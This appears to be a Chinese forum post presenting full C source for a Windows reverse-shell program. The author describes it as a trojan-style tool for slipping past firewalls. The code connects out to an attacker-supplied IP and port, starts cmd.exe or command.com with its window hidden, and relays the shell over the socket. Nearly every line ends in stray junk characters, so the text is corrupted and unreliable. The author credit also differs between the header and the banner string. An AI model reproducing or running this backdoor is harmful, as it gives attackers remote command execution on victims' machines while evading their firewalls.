这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X*MK(aV3
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/* ============================== rRe^7xGe7
Rebound port in Windows NT s[a\m,
By wind,2006/7 G0m$bi=z
===============================*/ CT_tJ
#include v6DjNyg<x
#include >l8?B L
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#pragma comment(lib,"wsock32.lib") /tG as
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void OutputShell(); q{G8Po$z'
SOCKET sClient; Jw=7eay$F
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &x B^
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void main(int argc,char **argv) e}-fGtFx
{ 66-\}8f8a
WSADATA stWsaData; Pc&dU1
int nRet; ,<!*@xy7v
SOCKADDR_IN stSaiClient,stSaiServer; `%~}p7Zu
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if(argc != 3) 2.</n}g
{ zOA~<fhT
printf("Useage:\n\rRebound DestIP DestPort\n"); J~J+CGT~2
return; g||EjCsp
} !"<rlB,J
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WSAStartup(MAKEWORD(2,2),&stWsaData); i`f!) 1
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M
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stSaiClient.sin_family = AF_INET; gnzg(Y]5w
stSaiClient.sin_port = htons(0); PX?%}~
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AvZ5?rN$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &?Erkc~#
{ UW} @oP$r
printf("Bind Socket Failed!\n"); 7xB]Z;:
return; !0? B=yA
} byE0Z vDM
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stSaiServer.sin_family = AF_INET; z&n2JpLY7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;X]B0KFe7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;=IJHk1&
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d3\?:}o,
{ %^E7Iqc
printf("Connect Error!"); _(?`eWo
return; Z5oDj|&l}
} _#v"sGmN
OutputShell(); )TVd4s(e
} "y*3p0E
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void OutputShell() k4<28
{ irm4lb5
char szBuff[1024]; QjXJo$I6
SECURITY_ATTRIBUTES stSecurityAttributes; *k#"@
OSVERSIONINFO stOsversionInfo; f*"T]AX0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M `q|GY
STARTUPINFO stStartupInfo; Eo^m; p5
char *szShell; "(W;rl
PROCESS_INFORMATION stProcessInformation; CV^%'HIs?+
unsigned long lBytesRead; Dz$w6d
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K%L6UQ;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T<>B5G~%
stSecurityAttributes.lpSecurityDescriptor = 0; ]!!?gnPd5
stSecurityAttributes.bInheritHandle = TRUE; p),*4@2<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FXY>o>K%h
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8<0P Ssx
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OESKLjFt
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
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stStartupInfo.wShowWindow = SW_HIDE; *^g]QQ
stStartupInfo.hStdInput = hReadPipe; F4-rPv
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; stfniV
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GetVersionEx(&stOsversionInfo); @8`I!fZ
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switch(stOsversionInfo.dwPlatformId) G na%|tUz|
{ W;R6+@I[
case 1: '{~[e**
szShell = "command.com"; WvF{`N
break; Q\IViM
default: "1a!]45 +
szShell = "cmd.exe"; Hc<@T_h+2
break; Q3=5q w^
} SD*q+Si,1U
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'l!\2Wv2
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send(sClient,szMsg,77,0); Oprfp^L
while(1) *szs"mQ/
{ I:oEt
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ebj0 {ZL
if(lBytesRead) 1 Vc_jYO@
{ rxMo7px@}I
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =$bF[3D
send(sClient,szBuff,lBytesRead,0); -le^ 5M7
} kq(><T
else F~E)w5?\O
{ 1Zp/EYWa{
lBytesRead=recv(sClient,szBuff,1024,0); PX^k;
if(lBytesRead<=0) break; ami>Pp
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2+)h!y]
} mh[,E8'd
} IFr"IOr'l
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return;
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}